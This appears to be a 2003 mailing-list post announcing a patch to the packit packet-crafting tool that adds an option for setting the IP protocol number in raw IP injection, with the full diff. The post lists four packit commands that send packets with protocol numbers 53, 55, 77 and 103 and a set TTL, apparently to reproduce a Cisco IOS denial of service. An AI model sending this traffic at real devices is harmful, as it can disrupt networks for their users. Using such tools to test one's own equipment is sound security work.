Hi all, Unfortunately I forgot to add a packit option to specify an IPPROTO number with RAWIP injection mode. I've attached a patch for 0.6.0c which solves that. The release version on packit.sourceforge.net will be updated in a few minutes.
The following commands can be used to generate the necessary traffic types: packit -t RAWIP -V 53 -d dst_ip -T ttl packit -t RAWIP -V 55 -d dst_ip -T ttl packit -t RAWIP -V 77 -d dst_ip -T ttl packit -t RAWIP -V 103 -d dst_ip -T ttl Please use it wisely. Thanks, -- Darren Bounds Security Consultant Information Security Services Intrusense Inc. -- Intrusense - Securing Business As Usual
diff -ur packit-0.6.0c/ChangeLog packit-0.6.0d/ChangeLog --- packit-0.6.0c/ChangeLog 2003-06-03 17:31:54.000000000 -0400 +++ packit-0.6.0d/ChangeLog 2003-07-18 11:52:12.000000000 -0400 @@ -1,3 +1,8 @@ +0.6.0d Darren Bounds <[EMAIL PROTECTED]> +---------------------------------------------- +Injection + - Just added the -V option for RAWIP injection to allow you to specify an IP protocol number (brought on by the recent Cisco IOS DoS posting) + 0.6.0c Darren Bounds <[EMAIL PROTECTED]> ---------------------------------------------- General diff -ur packit-0.6.0c/include/inject.h packit-0.6.0d/include/inject.h --- packit-0.6.0c/include/inject.h 2003-06-03 17:29:18.000000000 -0400 +++ packit-0.6.0d/include/inject.h 2003-07-18 11:48:54.000000000 -0400 @@ -47,6 +47,7 @@ u_int8_t *payload; u_int8_t *s_d_port; u_int8_t hwaddr_p[17]; +u_int8_t t; struct timeval bf_pcap; struct timeval af_pcap; diff -ur packit-0.6.0c/src/main.c packit-0.6.0d/src/main.c --- packit-0.6.0c/src/main.c 2003-05-29 21:40:48.000000000 -0400 +++ packit-0.6.0d/src/main.c 2003-07-18 12:02:51.000000000 -0400 @@ -209,7 +209,7 @@ #ifdef DEBUG fprintf(stdout, "DEBUG: TCP injection\n"); #endif - ip4hdr_o.p = IPPROTO_TCP; + t = ip4hdr_o.p = IPPROTO_TCP; injection_type = ETHERTYPE_IP; opts = "a:b:c:d:D:e:E:fF:hH:i:n:p:q:s:S:T:O:u:U:vw:W:"; } @@ -218,7 +218,7 @@ #ifdef DEBUG fprintf(stdout, "DEBUG: UDP injection\n"); #endif - ip4hdr_o.p = IPPROTO_UDP; + t = ip4hdr_o.p = IPPROTO_UDP; injection_type = ETHERTYPE_IP; opts = "b:c:d:D:e:E:fhH:i:n:O:p:s:S:T:U:vw:"; } @@ -227,7 +227,7 @@ #ifdef DEBUG fprintf(stdout, "DEBUG: ICMP injection\n"); #endif - ip4hdr_o.p = IPPROTO_ICMP; + t = ip4hdr_o.p = IPPROTO_ICMP; injection_type = ETHERTYPE_IP; opts = "b:c:C:d:e:E:fg:G:hH:i:j:J:k:K:l:L:m:M:n:N:o:O:p:P:s:Q:t:T:U:vw:y:z:"; } @@ -240,7 +240,7 @@ fprintf(stderr, "\nError: ARP injection is not yet supported on this OS platform.\n"); exit(FAILURE); #endif - injection_type = ETHERTYPE_ARP; + t = injection_type = ETHERTYPE_ARP; opts = "A:b:c:r:R:e:E:i:o:p:s:S:U:vx:X:"; } else if(!strncasecmp(optarg, "RAWIP", 3)) @@ -248,9 +248,9 @@ #ifdef DEBUG fprintf(stdout, "DEBUG: raw IP injection\n"); #endif - ip4hdr_o.p = IPPROTO_RAW; + t = ip4hdr_o.p = IPPROTO_RAW; injection_type = ETHERTYPE_IP; - opts = "b:c:d:e:E:f:i:n:O:p:s:T:U:vw:"; + opts = "b:c:d:e:E:f:i:n:O:p:s:T:U:vV:w:"; } else { @@ -264,7 +264,7 @@ default: optind--; - ip4hdr_o.p = IPPROTO_TCP; + t = ip4hdr_o.p = IPPROTO_TCP; injection_type = ETHERTYPE_IP; opts = "a:b:c:d:D:e:E:fF:hH:i:n:p:q:s:S:T:O:u:U:vw:W:"; @@ -555,6 +555,10 @@ case 'u': thdr_o.urp = (int)atoi(optarg); break; + + case 'V': + ip4hdr_o.p = (u_int16_t)atoi(optarg); + break; case 'v': verbose = 1; diff -ur packit-0.6.0c/src/shape_ipv4_hdr.c packit-0.6.0d/src/shape_ipv4_hdr.c --- packit-0.6.0c/src/shape_ipv4_hdr.c 2003-05-29 21:40:48.000000000 -0400 +++ packit-0.6.0d/src/shape_ipv4_hdr.c 2003-07-18 11:50:44.000000000 -0400 @@ -78,8 +78,8 @@ ip4hdr_o.sum, ip4hdr_o.n_saddr, ip4hdr_o.n_daddr, - (ip4hdr_o.p == IPPROTO_RAW) ? payload : NULL, - (ip4hdr_o.p == IPPROTO_RAW) ? payload_len : 0, + (t == IPPROTO_RAW) ? payload : NULL, + (t == IPPROTO_RAW) ? payload_len : 0, pkt_d, 0) == -1) { diff -ur packit-0.6.0c/src/usage.c packit-0.6.0d/src/usage.c --- packit-0.6.0c/src/usage.c 2003-05-31 18:39:19.000000000 -0400 +++ packit-0.6.0d/src/usage.c 2003-07-18 12:00:29.000000000 -0400 @@ -120,6 +120,7 @@ fprintf(stdout, " -o tos Type of service\n"); fprintf(stdout, " -s address Source address\n"); fprintf(stdout, " -T ttl Time to live (Default: 128)\n"); + fprintf(stdout, " -V ipproto IP protocol number (RAWIP only)\n"); fprintf(stdout, "\n"); #ifndef MACOS diff -ur packit-0.6.0c/VERSION packit-0.6.0d/VERSION --- packit-0.6.0c/VERSION 2003-06-03 17:14:15.000000000 -0400 +++ packit-0.6.0d/VERSION 2003-07-18 11:52:17.000000000 -0400 @@ -1 +1 @@ -0.6.0c +0.6.0d